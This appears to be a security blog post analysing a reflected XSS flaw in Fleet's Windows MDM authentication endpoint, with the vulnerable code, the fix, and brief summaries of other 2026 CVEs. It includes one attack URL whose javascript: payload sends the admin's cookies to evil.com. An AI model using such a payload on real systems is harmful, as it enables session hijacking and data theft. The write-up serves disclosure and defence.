Jan 20, 2026·5 min read·33 visits
Fleet's Windows MDM authentication endpoint used Go's `text/template` engine instead of the secure `html/template` engine to render responses. This lack of contextual escaping allowed attackers to inject arbitrary JavaScript via the `appru` parameter. If an authenticated admin clicks a malicious link, their session can be hijacked.
A classic tale of "wrong tool for the job" in the Go ecosystem led to a Reflected Cross-Site Scripting (XSS) vulnerability in Fleet's Windows MDM component. By confusing text generation with HTML rendering, developers inadvertently allowed attackers to inject malicious JavaScript via the `appru` parameter.
Fleet is the open-source darling of the osquery world, allowing security teams to query and manage thousands of endpoints as if they were a single database. It’s powerful, centralized, and typically sits behind heavy authentication. But like any fortress, it has side doors.
One of those side doors is the Windows Mobile Device Management (MDM) integration. This feature allows Fleet to act as a management authority for Windows devices, handling enrollment, configuration, and security policies. To make this magic happen, Fleet exposes a Security Token Service (STS) endpoint—specifically mdmMicrosoftAuthEndpoint.
This endpoint handles the handshake between the Windows OS and Fleet. It takes parameters from the request, does some processing, and sends a response back to the client. It’s a classic reflection point: user input goes in, HTML comes out. If you’ve been in this game long enough, you know exactly where this is going.
Go is a fantastic language for security—memory safety, strong typing, and great standard libraries. But it hands you two loaded guns in the text and html packages: text/template and html/template.
They share the same interface. They look identical in code. But they behave very differently. html/template is context-aware; it knows that if you put a string inside a <script> tag or an href attribute, it needs to be escaped to prevent code execution. text/template? It doesn't care. It treats your output as a dumb string of characters.
The developers at Fleet made the classic blunder: they used text/template to render an HTML response for the MDM authentication flow. This meant that whatever data was passed into the template was written raw to the HTTP response body. No sanitization. No encoding. Just raw bytes.
Let’s look at the smoking gun. The vulnerability lived in server/service/microsoft_mdm.go. The endpoint accepted a query parameter named appru (Application Response URL), which dictates where the client should go next.
Here is the logic flaw in its purest form. The code took appru and shoved it directly into a template without validating that it was actually a URL, or even a safe string.
The Vulnerable Pattern (Conceptual):
// BAD: Using text/template
t, _ := text_template.New("response").Parse(`<form action="{{.Appru}}">...`)
t.Execute(w, data)If an attacker sets appru to javascript:alert(1), the rendered HTML becomes <form action="javascript:alert(1)">. When the browser processes this, it doesn't see a URL; it sees code.
The fix involved two critical changes in commit 0e6c790803d1b4407c5b4b41a67a37864a3d3573. First, they switched to html/template. Second, they stopped trusting the input blindly.
The Fix:
// server/service/microsoft_mdm.go
func isValidAppru(appru string) bool {
parsed, err := url.Parse(appru)
if err != nil {
return false
}
// STRICT ALLOWLIST: Only allow http, https, and ms-app schemes
return slices.Contains([]string{"http", "https", "ms-app"}, parsed.Scheme)
}
func mdmMicrosoftAuthEndpoint(...) {
// ...
if !isValidAppru(appru) {
// Hard stop if the scheme looks fishy
return getSTSAuthContent(""), fmt.Errorf("non-URL appru parameter attempted: %q", appru)
}
// ...
}This is a textbook remediation: fix the output encoding and validate the input against a strict allowlist.
Exploiting this is trivial because the reflection is unfiltered. The goal is to get the victim's browser to execute JavaScript in the context of the Fleet domain. Since the appru parameter is reflected into a context that executes the URI (likely a form action or a redirect script), we can use the javascript: pseudo-protocol.
Attack Scenario:
https://fleet.target-corp.com/api/v1/microsoft_mdm/mde/2/auth?appru=javascript:fetch('https://evil.com/steal?c='+document.cookie)When the admin clicks this link:
text/template, blindly inserting the javascript:... string.appru (perhaps auto-submitting a form or setting window.location).evil.com.It’s simple, elegant, and devastatingly effective against applications that forget the basics of web security.
Why should you care about XSS in an MDM platform? Because Fleet isn't just a reporting tool; it's a command-and-control center.
If an attacker steals an admin session via this XSS, they inherit the admin's permissions. In Fleet, an admin can:
Effectively, a single XSS in the management server can be leveraged to gain Remote Code Execution (RCE) on every laptop and server managed by that Fleet instance. You aren't just hacking the website; you're hacking the entire fleet (pun intended).
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Fleet Fleet Device Management | < 4.53.3 | 4.53.3 |
Fleet Fleet Device Management | >= 4.54.0, < 4.75.2 | 4.75.2 |
Fleet Fleet Device Management | >= 4.76.0, < 4.76.2 | 4.76.2 |
Fleet Fleet Device Management | >= 4.77.0, < 4.77.1 | 4.77.1 |
Fleet Fleet Device Management | >= 4.78.0, < 4.78.2 | 4.78.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 (Cross-site Scripting) |
| CVSS v3.1 | 6.1 (Medium) |
| Attack Vector | Network (Reflected via URL) |
| Privileges Required | None (Target is the Admin) |
| User Interaction | Required (Phishing/Click) |
| Exploit Status | PoC Available |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
CVE-2026-114147 is a high-severity Denial of Service (DoS) vulnerability affecting ASP.NET Core and specifically the Microsoft.AspNetCore.SignalR.StackExchangeRedis scale-out provider across .NET 8.0, 9.0, 10.0, and 11.0 preview releases. The vulnerability originates from a string comparison mismatch between internal per-connection group collections and the centralized Redis channel subscription registry, compounded by a race condition during connection teardown. Remote unauthenticated attackers can exploit this flaw to leave orphaned connection contexts and active Redis pub/sub listeners pinned in memory, leading to unbounded memory exhaustion and application process termination.
CVE-2026-114156 is an improper resolution of path equivalence vulnerability (CWE-41) in Microsoft ASP.NET Core affecting .NET 11.0 preview releases and Microsoft Visual Studio 2026. The vulnerability stems from a discrepancy between how path prefix validation helpers (such as PathString.StartsWithSegments) and downstream routing mechanisms handle alternate path separators and percent-encoded characters. An unauthenticated remote attacker can exploit this mismatch over the network to bypass path-based authorization middleware and access restricted endpoints.
CVE-2026-114157 is a high-severity local privilege escalation and security feature bypass vulnerability affecting ASP.NET Core on Microsoft Windows. The flaw resides in the Kestrel web server's Named Pipes transport layer (Microsoft.AspNetCore.Server.Kestrel.Transport.NamedPipes) and stems from a race condition (CWE-362) during broken pipe error recovery. When an active connection throws an IOException during handshake acceptance, the connection listener previously disposed of the broken NamedPipeServerStream instance before acquiring a replacement stream from its internal pool. This sequence created a momentary window where zero server instances of the named pipe existed in the Windows Named Pipe File System (NPFS). A local, low-privileged attacker can exploit this timing window to create a named pipe with the identical name and a permissive Discretionary Access Control List (DACL), hijacking subsequent inter-process communications and escalating privileges across security boundaries.
CVE-2026-124194 is a forced authentication and spoofing vulnerability in Microsoft Office Outlook caused by a missing user interface warning before dereferencing remote network paths (CWE-356). By embedding an attacker-controlled Universal Naming Convention (UNC) path within MAPI message properties such as PidLidReminderFileParameter, an unauthenticated remote attacker can force a victim's system to initiate an outbound SMB or WebDAV connection upon opening or previewing a crafted message. This automatic authentication handshake leaks the user's NetNTLMv2 hash, enabling offline password cracking or real-time NTLM relay attacks. The vulnerability was exploited in the wild as a zero-day prior to its remediation in Microsoft's November 2026 Patch Tuesday updates and is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
CVE-2026-114154 is a high-severity Denial of Service (DoS) and uncontrolled resource consumption vulnerability in the Microsoft.AspNetCore.Server.HttpSys component of ASP.NET Core. When processing an HTTP request that simultaneously contains a chunked Transfer-Encoding header, a Content-Length header, and an explicit X-Content-Length header, the server throws an unhandled ArgumentException during header normalization. In certain versions, subsequent exception handling attempts to dereference a disposed native request context, aborting error response dispatch and leaking unmanaged HTTP.sys request structures.
A local elevation of privilege vulnerability exists in the Microsoft .NET Aspire CLI (`Aspire.Cli`) versions 13.5.4 prior to 13.6.5. When executing SDK management commands (`aspire sdk generate`, `aspire sdk dump`, and `aspire sdk export`), the CLI creates temporary project directories inside the shared operating system temporary folder (such as `/tmp` on Unix-like systems) without restricting directory permissions or disabling MSBuild automatic response file resolution. A local, low-privileged attacker on a multi-user system can place a crafted `Directory.Build.rsp` file in the shared temporary directory hierarchy. When a victim user executes an affected Aspire CLI command, MSBuild traverses upward, ingests the attacker-controlled response file, and executes arbitrary commands in the security context of the victim user.